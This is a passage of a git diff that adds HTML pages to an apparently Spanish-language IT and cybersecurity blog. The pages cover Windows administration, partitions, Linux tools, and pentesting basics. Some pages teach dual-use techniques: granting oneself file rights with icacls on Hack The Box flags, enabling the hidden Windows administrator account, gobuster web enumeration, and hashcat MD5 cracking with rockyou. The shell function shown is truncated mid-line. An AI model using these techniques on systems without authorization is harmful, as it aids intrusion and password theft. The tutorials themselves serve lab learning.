    +print(miString.lower())
    +
    + +

    Screenshot 2022-06-08 135751

    + +

    Existen una gran cantidad de funciones con multiples finalidades, otro ejemplo es la funcion swapcase() que nos reportará la primera letra de cada +palabra en minúscula seguido de el resto de la palabra en mayúsculas.

    + +
    miString = "Hello World"
    +
    +print(miString.upper())
    +print(miString.lower())
    +print(miString.swapcase())
    +
    +

    Screenshot 2022-06-08 140140

    + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/cursowindows_1.1_acceder_a_la_bios.html b/Web/cursowindows_1.1_acceder_a_la_bios.html new file mode 100644 index 00000000000..bce63f3a003 --- /dev/null +++ b/Web/cursowindows_1.1_acceder_a_la_bios.html @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Windows: BIOS
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Windows + + + + + + + + + + + + + + + + + + + + + +
  • Como entrar en la BIOS con Windows 10
  • + +

    +

    Como Entrar en la BIOS con Windows 10

    + +

    Existen dos formas genericas de acceder a la BIOS de nuestro sistema, una será particular de cada marca y se accedera tras realizar el arranque +de la compurtadora, pulsado normalte F2 (suele aparecer escrito durante la carga del sistema una vez encendemos el pc) accederemos directamente +a la BIOS. Esto lo podemos realizarlo aún que no tengamos ningún sistema operativo instalado.

    + +

    La segunda manera de acceder a la BIOS es desde el mismo Windows10, simplemente nos dirigimos al buscador del sistema y escribimos BIOS, nos +aparecera la opción Cambias opciones avanzadas de inicio, una vez dentro, veremos la opción de Inicio avanzado y pulsamos Reiniciar ahora, +esto reiniciara el sistema entrando automaticamente en la BIOS.

    + +

    Captura de pantalla 2022-09-27 100031

    + +

    Captura de pantalla 2022-09-27 100104

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/cursowindows_1.html b/Web/cursowindows_1.html new file mode 100644 index 00000000000..c40fc27ca11 --- /dev/null +++ b/Web/cursowindows_1.html @@ -0,0 +1,237 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Windows
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + Windows + + + + + + + + + + + + + + + + + + + + +

    Curso Básico Windows

    + +

    En el siguiente curso, vamos a ver como administrar de manera básica un sistema Windows 10. Está enfocado a principiantes en el ámbito +de la informática y del pentesting a sistemas Windows.

    + +

    Cómo acceder a la Bios con Windows

    +

    Particiones en Windows

    + + +
  • ¿Qué es una partición?
  • +
  • ¿Qué es una partición del sistema EFI?
  • +
  • Configuración de discos de almacenamiento en Windows
  • +
    + +

    Eliminar Windows por Completo

    +

    Administrar Usuarios y Permisos

    +

    Escalada de Privilegios en Windows

    + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + + \ No newline at end of file diff --git a/Web/cursowindows_2_sistema_particiones_windows.html b/Web/cursowindows_2_sistema_particiones_windows.html new file mode 100644 index 00000000000..ecd6e06d2c0 --- /dev/null +++ b/Web/cursowindows_2_sistema_particiones_windows.html @@ -0,0 +1,319 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Windows: Particiones
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Windows + + + + + + + + + + + + + + + + + + + + + +
  • ¿Qué es una partición?
  • +
  • ¿Qué es una partición del sistema EFI?
  • +
  • Configuración de discos de almacenamiento en Windows
  • + +

    +

    ¿Qué es una partición?

    + +

    Una partición es el nombre que se le da a cada división presente en una sola unidad física de almacenamiento de datos. Para que se entienda, tener +varias particiones es como tener varios discos duros en un solo disco duro físico, cada uno con su sistema de archivos y funcionando de manera diferente.

    + +

    Las particiones pueden utilizarse para varios fines. Por una parte, puedes tener una dedicada a guardar datos sensibles con medidas de seguridad que no +interfieran en el resto del sistema, así como copias de seguridad, aunque también puedes utilizarla para instalar diferentes sistemas operativos. En algunos de +ellos, como los basados en GNU/Linux, también podrás estructurar el disco en particiones para los diferentes tipos de archivo que utilice el sistema operativo.

    + +

    Existen tres tipos de particiones, las primarias, las extendidas o secundarias, y las lógicas. A continuación tienes una descripción sobre cómo es cada una de ellas.

    + +

    Partición primaria: Son las divisiones primarias del disco que dependen de una tabla de particiones, y son las que detecta el ordenador al arrancar, por +lo que es en ellas donde se instalan los sistemas operativos. Puede haber un máximo de cuatro, y prácticamente cualquier sistema operativo las detectará +y asignará una unidad siempre y cuando utilicen un sistema de archivo compatible. Un disco duro completamente formateado contiene en realidad una partición +primaria ocupando todo su espacio.

    + +

    Partición extendida o secundaria: Fue ideada para poder tener más de cuatro particiones en un disco duro, aunque en ella no se puede instalar un +sistema operativo. Esto quiere decir que sólo la podremos usar para almacenar datos. Sólo puede haber una de ellas, aunque dentro podremos hacer +tantas otras particiones como queramos. Si utilizas esta partición, el disco sólo podrá tener tres primarias, siendo la extendida la que actúe como cuarta.

    + +

    Partición lógica: Son las particiones que se hacen dentro de una partición extendida. Lo único que necesitarás es asignarle un tamaño, un tipo +de sistema de archivos (FAT32, NTFS, ext2,…), y ya estará lista para ser utilizada. Funcionan como si fueran dispositivos independientes, y +puedes utilizarla para almacenar cualqueir archivo.

    + +

    +

    ¿Qué es una partición del sistema EFI?

    + +

    La partición del sistema EFI (ESP), una pequeña partición formateada con FAT32, suele tener alrededor de 100 MB, aquí es donde se almacenan los +cargadores de arranque EFI y las aplicaciones utilizadas por el firmware en el sistema durante el inicio. Si su disco duro está en el estilo de partición +de la tabla de particiones GUID (GPT), generará automáticamente una partición del sistema EFI después de que haya instalado sus sistemas operativos. Se admiten +los sistemas operativos Windows y Mac.

    + +

    Normalmente no puede ver la partición EFI a través del Explorador de archivos (o Finder para Mac OSX) ya que no tiene una letra de unidad asignada y +si accidentalmente logra encontrar y eliminar la partición, entonces su sistema no podrá arrancar. Para proteger la partición EFI, Windows intentará +evitar que la elimine.

    + +

    +

    Configuración de discos de almacenamiento en Windows

    + +

    En el siguiente artículo vamos a ver como administrar los discos de almacenamiento de nuestro sistema. Esto es importante conocerlo ya que de esta +manera podremos formatear, añadir discos duros, realizar particiones y gestionar los ajustes de casa disco.

    + +

    Para entrar en el Administrador de Discos en Windows 10 simplemente escribimos en el buscador de inicio Crear y formatear particiones del disco`:

    + +

    Captura de pantalla 2022-09-27 114950

    + +

    Entramos y nos mostrará el siguiente panel, vuestra pantalla no será igual ya que dependiendo de los discos de almacenamiento y de sus ajustes se nos +representará uno o varios discos.

    + +

    Captura de pantalla 2022-09-27 115017

    + +

    Vamos a verlo por partes, en primer luegar, podemos ver la barra del menú, tambien algunas acciones, y debajo, cada una de la particiones actuales del +disco e información de cada uno de ellas.

    + +

    Captura de pantalla 2022-09-27 112250

    + +

    En primer luegar debemos de aclarar que esto no quiere decir que este equipo disponga de 4 disco duros, lo que dispone es de 4 particiones. Para entenderlo un +disco duro puede tener varias particiones en función de como lo queramo administrar.

    + +

    En este caso, nuestro equipo dispone de dos discos, Disco()y Disco(1)``:

    + +

    Disc(): Este disco cuenta con un total de 931,50 GB.

    + +

    Captura de pantalla 2022-09-27 112104

    + +

    pero simplemente tiene una partición (D:) de 488,28GB.

    + +

    Captura de pantalla 2022-09-27 112120

    + +

    El resto al no estár adignado, es espacio que no se está utilizando, pero podemos utilizarlo en un futuro para crear una nueva partición o añadirla y crear una única.

    + +

    Captura de pantalla 2022-09-27 112135

    + +

    De momento quedate con que en este disco solo hay una partición, que es la que arriba esta representada como (D:).

    + +

    Ahora vamos a ver las tres particiones restantes (C:, Disco 1 Partición 1 y Disco 1 Particion 4), estas particiones se encuentran dentro del Disco 1 +de 931,50GB, y son las encargadas de funcionamiento básico del sistema de Windwos. Solo con el Disco 1 ya podríamos tener un equipo eficiente, el Disco () +y sus particiones se añaden para tener mayor almacenamiente en el equipo.

    + +

    Vamos a ver por parte las tres particiones del Disco (1):

    + +

    Captura de pantalla 2022-09-27 112156

    + +

    Disco 1 Partición 1: La partición del sistema EFI (ESP), una pequeña partición formateada con FAT32, suele tener alrededor de 100 MB, aquí es donde +se almacenan los cargadores de arranque EFI y las aplicaciones utilizadas por el firmware en el sistema durante el inicio. +Normalmente no puede ver la partición EFI a través del Explorador de archivos ya que no tiene una letra de unidad asignada.

    + +

    (C:): Es donde guardaremos todos los datos de nuestro equipo, donde tendremos nuestro escritorio y donde guardamos la gran malloria de archivos. Esta partición +esta basado en un sistema de archivos NTFS y es el estándar obligatorio en los sitemas operativos Windows.

    + +

    Disco 1 Parición 4: Está partición recibe el nombre de partición de recuperación ya que es una pequeña partición en su disco duro que puede +ayudarle a restaurar su Windows o solucionar problemas del sistema. +Esta partición de recuperación es para albergar el Entorno de Recuperación de Windows (WinRE), que puede ser explorado si le asignas manualmente una letra de +unidad. Si elimina esta partición, no podrá utilizar las opciones de recuperación de Windows.

    + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/cursowindows_3_eliminar_windows.html b/Web/cursowindows_3_eliminar_windows.html new file mode 100644 index 00000000000..f8838ebba3f --- /dev/null +++ b/Web/cursowindows_3_eliminar_windows.html @@ -0,0 +1,249 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Windows: Eliminar Windows
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Windows + + + + + + + + + + + + + + + + + + + + + +
  • Cómo Eliminar Windows 10 por Completo
  • + +

    +

    Cómo Eliminar Windows 10 por Completo

    + +

    Existen varias formas de formatear el sistema en Windows o de volver a una copia de seguridad realizada en el pasado. No obstante, no +son las formas más seguras, ya que mucho malware se aloja en las carpetas y en los archivos que se ocupan de reinstalar o volver a un +punto anteriormente guardado.

    + +

    La solución es borrar por completo todo lo que hay dentro del sistema y volver a instalar otro sistema operativo, de esta manera no arrastraremos +ningún malware que nos haya infectado en el pasado. El nuevo sistema lo tendremos que instalar vía UBS o cd y asegurarnos de que la fuente +de descarga, es la oficial del sistema.

    + +

    El siguiente paso será borrarlo todo, obviamente si existen archivos que queráis conservar tendréis que guardarlos previamente +en algún USB o disco duro.

    + +

    Para borrarlo todo, simplemente tendremos que ejecutar el UBS con el nuevo sistema, acceder a la BIOS y ejecutar el PC +para que arranque desde el USB con el sistema nuevo.

    + +

    Una vez se inicie la instalación, nos mostrará los discos duros o espacio de almacenamiento del PC y donde queremos instalar el nuevo +sistema. Aquí es donde borraremos todo lo existente en nuestro ordenador, debemos formatear todos los discos que nos muestre dejándolo +completamente vacío. Una vez formateado todo ya podremos proceder a la instalación del nuevo sistema operativo (o del mismo en caso de +que solo queramos sanearlo).

    + +

    Existen varios métodos para preparar nuestro USB booteable. Windows por ejemplo, nos facilitará el sistema operativo y un programa para +preparar el USB (a prueba de tontos), tan solo hay que seguir las instrucciones y en cuestión de minutos tendremos nuestro USB booteable +con nuestro nuevo Windows.

    + +

    Para instalar distribuciones basadas en Linux y Unix suelo utilizar el programa Ventoy.

    + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/cursowindows_4_usuarios_y_permisos.html b/Web/cursowindows_4_usuarios_y_permisos.html new file mode 100644 index 00000000000..fd55665bf57 --- /dev/null +++ b/Web/cursowindows_4_usuarios_y_permisos.html @@ -0,0 +1,321 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Windows: Usuarios y Permisos
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + Windows + + + + + + + + + + + + + + + + + + + + + +

    Administrar Usuarios y Permisos Windows

    + +

    En este artículo se muestra como crear o eliminar usuarios y administrar permisos de usuarios desde la shell de Windows.

    + +

    Abrir la Terminal:

    + +

    Para abrir la terminal en Windows podemos escribir en el buscador cmd o presionar Tecla Windows + R y luego escribimos cmd o símbolo del sistema. +Lo ideal para no tener problemas, es abrir la Terminal como Administrador, para ello la buscamos mediante el buscador y escribimos cmd, luego presionamos +clic Derecho y Abrir como Administrador.

    + +

    Listar Usuarios:

    +

    Este comando tiene la tarea de enumerar todas las cuentas de usuario existentes en el sistema donde se incluyen la cuentas ocultas o cuentas de usuario deshabilitadas. + Estas cuentas de usuario se enumeran con su nombre interno asignado.

    + +
    net user
    +
    + +

    Podremos almacenar los resultados en un archivo de texto usando la siguiente sintaxis:

    + +
    net user > archivo.txt
    +
    + +

    También podemos indicar una ruta personalizada si así lo deseamos:

    + +
    net user > “ruta\archivo.txt
    +
    + +

    Ver información detallada de un Usuario

    + +

    Para obtener información mucho más detallada de un usuario del sistema, podemos ejecutar lo siguiente. Allí +vemos información precisa y completa sobre el usuario seleccionado.

    + +
    net user “usuario”
    +
    + +

    Crear un Nuevo Usuario:

    +

    Para crear un Usuario Nuevo sin permisos de Administrador podemos utilizar los siguientes comandos. Debemos tener en cuenta que el Usuario creado no +tendrá contraseña y que tenemos que definirla nosotros una vez creado.

    + +
    net user 'nombre de usuario' /add
    +
    + +

    Otro comando para crear un Usuario es el siguiente:

    + +
    adduser 'nombre de usuario'
    +
    + +

    Establecer Contraseña a un Usuario:

    + +

    Una vez tenemos el Usuario creado, vamos a establecer una contraseña. Para ello introducimos el siguiente comando y se nos desplegará en la terminal la +opción de introducir una contraseña.

    + +
    net user 'nombre usuario' *
    +
    + +

    En caso de querer eliminar la contraseña, simplemente usamos el mismo comando, pero en este caso en vez de introducir una contraseña nueva, solo +pulsamos dos veces Enter dejando los parámetros en blanco.

    + +

    Ver Permisos:

    +

    Mediante el siguiente comando podremos ver que tipo de permisos le podemos dar a cada usuario. La lista que muesta el siguiente comando, muestra todos +los permisos.

    + +
    net localgroup
    +
    + +

    Dar Permisos a un Usuario:

    +

    Para poder dar permisos a un Usuario, como por ejemplo como Administrador, realizamos lo siguiente:

    + +
    net localgroup administrador 'nombre de usuario' /add
    +
    + +

    En caso de desear otro tipo de permiso, simplemente cambiamos administrador por el permiso que le queramos dar.

    + +

    ## Eliminar Permisos a un Usuario: + La sintaxis es casi igual que para dar permisos, solo cambiamos la variable final por /delete:

    + +
     net localgroup administrador 'nombre de usuario' /delete
    +
    + +

    ## Eliminar Usuarios:

    + +
     net user 'nombre de usuario' /delete
    +
    + +

    ## Habilitar cuenta de Administrador Oculta: + Este comando activa o habilita la cuenta de administrador oculta del sistema Windows. Esto se utiliza normalmente cuando no tenemos permisos de + administrador, y por tanto, no podemos realizar cambios:

    + +
     net user administrador /active:yes
    +
    + +

    Para comprobar que estamos utilizando el nombre correcto del permiso (en este caso administrador), podemos revisarlo mediante el comando mencionado +anteriormente net localgroup.

    + +

    Para desactivar la cuenta de administrador oculta:

    + +
    net user administrador /active:no
    +
    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/escalda_privilegios_windows.html b/Web/escalda_privilegios_windows.html new file mode 100644 index 00000000000..097fae6e086 --- /dev/null +++ b/Web/escalda_privilegios_windows.html @@ -0,0 +1,256 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + Windows + + + + + + + + + + + + + + + + + + + + + +

    Escalada de privilegios en Windows

    + +

    Listar nivel de privilegios del Usuario:

    + +
    whoami /priv
    +
    + +

    Reconocimiento de privilegios con Icacls:

    + +

    Para poder ver los privilegios que tiene nuestro usuario sobre un directorio o archivo en específico podemos utilizar la herramienta icacls.

    + +
    icacls [Nombre del Archivo/Directorio]
    +
    + +

    Ejemplos:

    + +
    icacls Desktop
    +
    +icacls user.txt
    +
    + +

    Captura de pantalla 2022-08-03 114112

    + +

    En caso de tener privilegios full F de algún archivo, lo podremos modificar para darnos permisos y de esta forma interactuar con un archivo con el que antes +no nos estaba permitido.

    + +

    Esto puede ser útil en las máquinas de HTB en el caso de tener privilegios sobre el directorio root, pero los cuales aún no han sido incorporados a la flag y , por tanto, no podemos leerla.

    + +

    Para aplicar estos privilegios a un archivo y poder leerlo e interactuar con él, utilizaremos el siguiente comando:

    + +
    icacls [Nombre del Archivo] /grant [Usuario]:[Privilegio]
    +
    + +

    Ejemplo:

    + +
    icacls root.txt /grant Alfred:F
    +
    + +

    F: Nos indica los máximos privilegios.

    + +

    Captura de pantalla 2022-08-03 114143

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/extractports.html b/Web/extractports.html new file mode 100644 index 00000000000..df915a2f5ba --- /dev/null +++ b/Web/extractports.html @@ -0,0 +1,244 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramientas
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + +

    ExtractPorts

    + +

    ExtractPorts es una función creada por S4vitar.

    + +

    Esta herramienta nos mostrará en formato bat los puertos encontrados y guardados previamemte en un archivo. Para crear estos archivos, debemos de guardar los +escaneos (al escanear los puertos con nmap por ejemplo) en formato grepeable (-oG).

    + +

    Luego mediante Cntrl + Shift + v podremos pegar los puertos a la terminal automáticamente. Esto es muy útil cuando tenemos que trabajar con muchos puertos +ya que tenemos los puertos guardados sin necesidad de volver a realizar el escaneo y para pegar de forma rápida todos los puertos sin la necesidad de escribirlos +uno por uno.

    + +

    Captura de pantalla -2022-04-10 23-00-33

    + +
    extractPorts allPorts
    +
    + +

    allPorts : Archivo previamente definido.

    + +

    Captura de pantalla -2022-04-10 23-01-09

    + +

    Cntrl + Shift + v : Para pegar los puertos a la terminal.

    + +

    Instalación:

    + +

    Para la instalación de esta herramienta previamente se recomienda tener instalado ‘bat’ que es una mejora del comando ‘cat’.

    + +

    Para poder tener está función activa, simplemente nos dirigiremos a la carpeta .bashrc o .zshrc (la que utilicéis) y pegaremos la función.

    + +
    
    +# Extract nmap information:
    +function extractPorts(){
    +        ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{prin>
    +        ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{>
    +        echo -e "\n[*] Extracting information...\n" > extractP>
    +        echo -e "\t[*] IP Address: $ip_address"  >> extractPor>
    +        echo -e "\t[*] Open ports: $ports\n"  >> extractPorts.>
    +        echo $ports | tr -d '\n' | xclip -sel clip
    +        echo -e "[*] Ports copied to clipboard\n"  >> extractP>
    +        cat extractPorts.tmp; rm extractPorts.tmp
    +}
    +
    +
    + +

    Esta función la podéis encontrar también en el perfil de S4vitar.

    + +

    S4vitar: https://github.com/s4vitar

    + +

    Captura de pantalla -2022-04-10 23-42-26

    + +

    Menciones:

    + +

    Esta función está creada por el creador de contenido S4vitar, podéis encontrar una gran cantidad de información sobre ciberseguridad en +sus canales de Youtube y Twitch.

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/find.html b/Web/find.html new file mode 100644 index 00000000000..d9f785042a0 --- /dev/null +++ b/Web/find.html @@ -0,0 +1,236 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Curso Linux + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + + + + + + +

    Como Buscar Archivos en Linux

    + +

    Buscar archivos por nombre o extensión:

    + +

    Esta es la parte más esencial del uso del comando Find y para ello se requiere bien sea saber el nombre del objeto o su extensión (.mp4, .txt, . jpg, etc) +con el fin de obtener un resultado directo.

    + +
    find -name 'Nombre del Archivo'
    +
    + +

    Esta busqueda nos repotará el dirctorio que contiene el archivo en caso de que exista.

    + +

    En caso de desear buscar unicamente por una extensión concreta como por ejemplo .jpg podemos realizar lo siguiente:

    + +
    find -name "*.jpg"
    +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/gnometwitch.html b/Web/gnometwitch.html new file mode 100644 index 00000000000..9061a931aaa --- /dev/null +++ b/Web/gnometwitch.html @@ -0,0 +1,238 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + TWITCH + + + + + + + + + + + + + + + + + +

    Como Instalar Gnome Twitch en Linux mediante Flatpak.

    + +

    En este artículo se mostrará como instalar Gnome Twitch a través de sus repositorio oficiales para poder operar +comodamente desde nuestra distribución Linux.

    + +

    Para poder descargarnos Gnome Twitch vamos a necesitar la herramienta flatpak. Flatpak es una tecnología para +crear, distribuir, instalar y ejecutar aplicaciones. Para instalarnos flatpak simplemente ejecutamos el siguiente comando:

    + +
    sudo apt install flatpak
    +
    + +

    Captura de pantalla -2022-05-11 10-41-34

    + +

    Una vez instalado ya podemos pasar a descargarnos Gnome Twithc, para ello ejecutamos los siguientes comandos:

    + +
    flatpak remote-add flathub https://flathub.org/repo/flathub.flatpakrepo
    +
    +flatpak install flathub com.vinszent.GnomeTwitch
    +
    + +

    Captura de pantalla -2022-05-11 10-42-58

    + +

    Tras realizar la intalación tendremos que reiniciar el equipo para que Twitch nos aparezca en nuestro directorio +y podamos ejecutarlo de forma eficiente. Una vez reiniciado el equipo, para ejecutarlo utilizaremos flatpak +seguida de la opciòn run y el nombre del programa:

    + +
    flatpak run com.vinszent.GnomeTwitch
    +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + + \ No newline at end of file diff --git a/Web/gobuster.html b/Web/gobuster.html new file mode 100644 index 00000000000..d7207f8e4f2 --- /dev/null +++ b/Web/gobuster.html @@ -0,0 +1,253 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramientas
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + Gobuster + + + + + + + + + + + + + + + + + + + + + +

    ¿Qué es GoBuster?

    + +

    Gobuster es una herramienta open source que permite la identificación de contenido web como directorios o ficheros que pudiesen estar +accesibles u ocultos en un portal web. Esto lo realiza a través de solicitudes http con un diccionario o por fuerza bruta, y detectará +la existencia de las mismas en función del código de respuesta obtenido.

    + +

    GoBuster tiene la capacidad de realizar las siguientes enumeraciones:

    + +
      +
    • URIs (directorios y ficheros) en portales web.
    • +
    • Subdominios DNS con soporte para wildcard.
    • +
    • Nombres de virtual hosts en servidores web.
    • +
    • Buckets S3 de Amazon públicos.
    • +
    + +

    ¿Cómo instala GoBuster?

    + +

    En caso de tener una distribución basada en Debian, podéis instalarlo directamente desde la terminal mediante le siguiente comando:

    + +
    sudo apt install gobuster
    +
    + +

    Tipos de enumeraciones:

    + +

    Como ya indicábamos se pueden hacer 4 tipos de enumeraciones, de URIs, DNS, vhosts y buckets S3 así que vamos a ver cada una de ellas.

    + +

    Escaneo de Directorios:

    + +
    gobuster dir -u http://www.ejemplo.com/ -w /ruta/del/diccionario
    +
    + +
      +
    • dir: Indica que vamos a enumerar directorios.
    • +
    • -u: Especifica la targeta URL.
    • +
    • -w: Especifica la ruta del diccionario.
    • +
    + +

    Más información acerca de goBuster –> Link

    + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/hackthebox.html b/Web/hackthebox.html new file mode 100644 index 00000000000..43a637e9f2a --- /dev/null +++ b/Web/hackthebox.html @@ -0,0 +1,221 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + +

    Hack The Box

    + +

    ¿Qué es Hack The Box?

    +

    Hack The Box es una plataforma online enfocada al aprendizaje práctico de la ciberseguridad. La página ofrece una gran +variedad de laboratorios donde poner en práctica todo tipo de explotaciones, poder trabajar con distintos sistemas +y tratando de replicar entornos reales.

    + +

    Es una gran forma de poner en práctica y de empezar en el mundo de la ciberseguridad. También es un lugar ideal donde +poder prepararse para futuras certificaciones, ya que podréis encontrar retos con distintas dificultades, obligándote +abarcar varios temas y de esta manera unificando tus conocimientos sobre el Hacking.

    + +

    Página Oficial Hack The Box –> Link

    + +

    Artículos:

    + + +

    Máquinas:

    + +

    Blue SwagShop Jerry Lame Cap

    + +

    Starting Points:

    + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + + diff --git a/Web/hash_identifier.html b/Web/hash_identifier.html new file mode 100644 index 00000000000..5e42bcec63b --- /dev/null +++ b/Web/hash_identifier.html @@ -0,0 +1,221 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramientas
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + Hash Id + + + + + + + + + + + + + + + + + + + + + +

    Hash Identifier

    + +

    Hash Identifier es una herramienta basada en Python que le permite identificar rápidamente los tipos de hash utilizados para cifrar contraseñas. +Admite más de 220 tipos de hash únicos mediante expresiones regulares.

    + +

    Es capaz de identificar un solo hash, analizar un archivo o leer varios archivos en un directorio e identificar los hash dentro de ellos. +También es capaz de incluir el modo hashcat correspondiente y/o el formato JohnTheRipper en su salida.

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/hashcat.html b/Web/hashcat.html new file mode 100644 index 00000000000..43ddd1e3fb5 --- /dev/null +++ b/Web/hashcat.html @@ -0,0 +1,274 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramientas
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + HashCat + + + + + + + + + + + + + + + + + + + + + +

    ¿Qué es HashCat?

    + +

    Hashcat es un descifrador de contraseñas popular y eficaz ampliamente utilizado tanto por probadores de penetración +como por administradores de sistemas, así como por delincuentes y espías.

    + +

    Su funcionamiento básicamente consiste en utilizar diccionarios precalculados, tablas y métodos de fuerza bruta +para tratar de encontrar una forma eficaz y eficiente de descifrar contraseñas.

    + +

    Estas contraseñas son procesadas por un algoritmo para crear los hash. Existen diversas clases de algoritmos, pero +lo que tenemos que tener en cuenta es que descifrar un hash es inviable, ya que se necesitaria una gran potencia +computacional y mucho tiempo para tratar de descifrarlo.

    + +

    En cambio, HashCat no trata de descifrar el hash, simplemente comprueba las miles de palabras y hashes que tienen +guardados en su base de datos hasta dar con el mismo que le hemos introducido. Este proceso es mucho más rápido ya +que la herramienta cuenta con grandes librerias actualizadas.

    + +

    ¿Cómo Instalar HashCat?

    + +

    Para instalar en cualquier distribución debian:

    + +
    sudo apt install hashcat
    +
    + +

    Captura de pantalla -2022-04-26 20-50-38

    + +

    En Kali Linux y ParrotOS suele venir instalada de forma predeterminada.

    + +

    ¿Cómo ejecutar HashCat?

    + +

    Para ver las distintas optiones y como ejecutar la herramienta:

    + +
    hashcat --help
    +
    + +

    Para ejecutar la herramienta, debemos especificar en que algoritmo esta basado el hash, esto podemos verlo meidante +la herramientas HashID o Hash-Identifier.

    + +

    Crearemos un archivo, por ejemplo ‘hash2’ y pegamos el número hash que queremos descifrar.

    + +
    nano hash2
    +
    + +

    Guardamos (Cntrl + o) y salimos (Cntrl + x).

    + +

    Para ejecutar HashCat de forma básica:

    + +
    hashcat -a 0 -m 0 hash2 /usr/share/rockyou.txt
    +
    + +

    -a : Attack-mode. El 0 representa el modo ‘Straight’.

    + +

    Captura de pantalla -2022-04-26 23-59-52

    + +

    -m : Hash-type. El 0 representa MD5. Esto lo podemos ver con el comando hashcat --help.

    + +

    Captura de pantalla -2022-04-27 00-01-06

    + +

    hash2 : Nombre del archivo que contiene el hash que queremos descifrar.

    + +

    rockyou.txt : Es un diccionario con más de 14 millones de contraseñas y hashes.

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/hashid.html b/Web/hashid.html new file mode 100644 index 00000000000..c3c8c60c034 --- /dev/null +++ b/Web/hashid.html @@ -0,0 +1,239 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramientas
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
